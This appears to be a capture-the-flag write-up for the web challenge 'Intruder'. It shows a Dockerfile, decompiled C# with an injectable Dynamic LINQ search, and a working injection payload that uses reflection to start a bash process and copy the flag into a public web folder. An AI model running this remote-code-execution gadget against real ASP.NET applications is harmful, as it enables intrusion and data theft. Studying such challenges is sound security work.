SEKAI CTF 2024 | Intruder (Web, Linq Injection)
Difficulty : Easy
PreviousCyberSpace CTF 2024 | Feature Unlocked (Web)NextCTFZONE Quals 2024 | Youtube Unlock & Youtube Unlock Revenge (GGC Exploit)
Last updated
Difficulty : Easy
Last updated
FROM mcr.microsoft.com/dotnet/aspnet:7.0
RUN useradd -m ctf
COPY flag.txt /flag.txt
RUN mv /flag.txt /flag_`cat /proc/sys/kernel/random/uuid`.txt
RUN chown root:root /flag_*.txt
RUN chmod 444 /flag_*.txt
WORKDIR /app/src
COPY src .
RUN chown -R ctf:ctf /app/src/
RUN chmod -R +w /app/src/
USER ctf
EXPOSE 80
ENTRYPOINT ["dotnet", "CRUD.dll"][NullableContext(1)]
[Nullable(0)]
public class BookController : Controller
{
// Token: 0x060000B1 RID: 177 RVA: 0x00002F08 File Offset: 0x00001108
public IActionResult Index(string searchString, int page = 1, int pageSize = 5)
{
IActionResult result;
try
{
IQueryable<Book> query = BookController._books.AsQueryable<Book>();
if (!string.IsNullOrEmpty(searchString))
{
query = query.Where("Title.Contains(\"" + searchString + "\")", Array.Empty<object>());
}
int totalItems = query.Count<Book>();
int totalPages = (int)Math.Ceiling((double)totalItems / (double)pageSize);
List<Book> books = query.Skip((page - 1) * pageSize).Take(pageSize).ToList<Book>();
BookPaginationModel viewModel = new BookPaginationModel
{
Books = books,
TotalPages = totalPages,
CurrentPage = page
};
result = this.View(viewModel);
}
catch (Exception ex)
{
base.TempData["Error"] = "Something wrong happened while searching!";
result = this.Redirect("/books");
}
return result;
}
// Token: 0x060000B2 RID: 178 RVA: 0x00002FD0 File Offset: 0x000011D0
public IActionResult Add()
{
return this.View();
}") and "".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash; -c \"cat /flag* > /app/src/wwwroot/img/covers/flag.txt \"".Split(";".ToCharArray()))==("